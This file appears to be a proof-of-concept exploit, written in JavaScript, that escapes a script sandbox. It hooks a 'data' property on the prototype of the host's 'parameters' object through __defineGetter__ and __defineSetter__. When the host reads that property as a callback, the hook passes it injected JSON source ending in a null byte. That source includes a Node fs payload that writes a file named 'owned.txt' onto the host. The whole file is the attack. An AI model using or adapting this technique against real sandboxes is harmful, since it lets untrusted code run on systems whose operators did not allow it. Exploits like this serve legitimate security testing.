exports.main = function() {
  var origSubstr = parameters.string.__proto__.substr;
  var payload = "var fs = require('fs');fs.writeFileSync('owned.txt', 'You could have been owned now\\n');";
  var jsonPayload = JSON.stringify({source:";exports.main = function(){exit('ok')};", sourceAPI:payload});
  var defineGetter = parameters.__defineGetter__;
  var defineSetter = parameters.__defineSetter__;

  defineSetter.call(parameters.__proto__, 'data', function(val) {
    this.__hidden_data = val;
  });
  defineGetter.call(parameters.__proto__, 'data', function() {
    var chained = this.__hidden_data;
    if (typeof chained != "function")
      return chained;
    return function(data) {
      return chained.call(this, jsonPayload + '\u0000');
    };
  });

  exit('ok');
}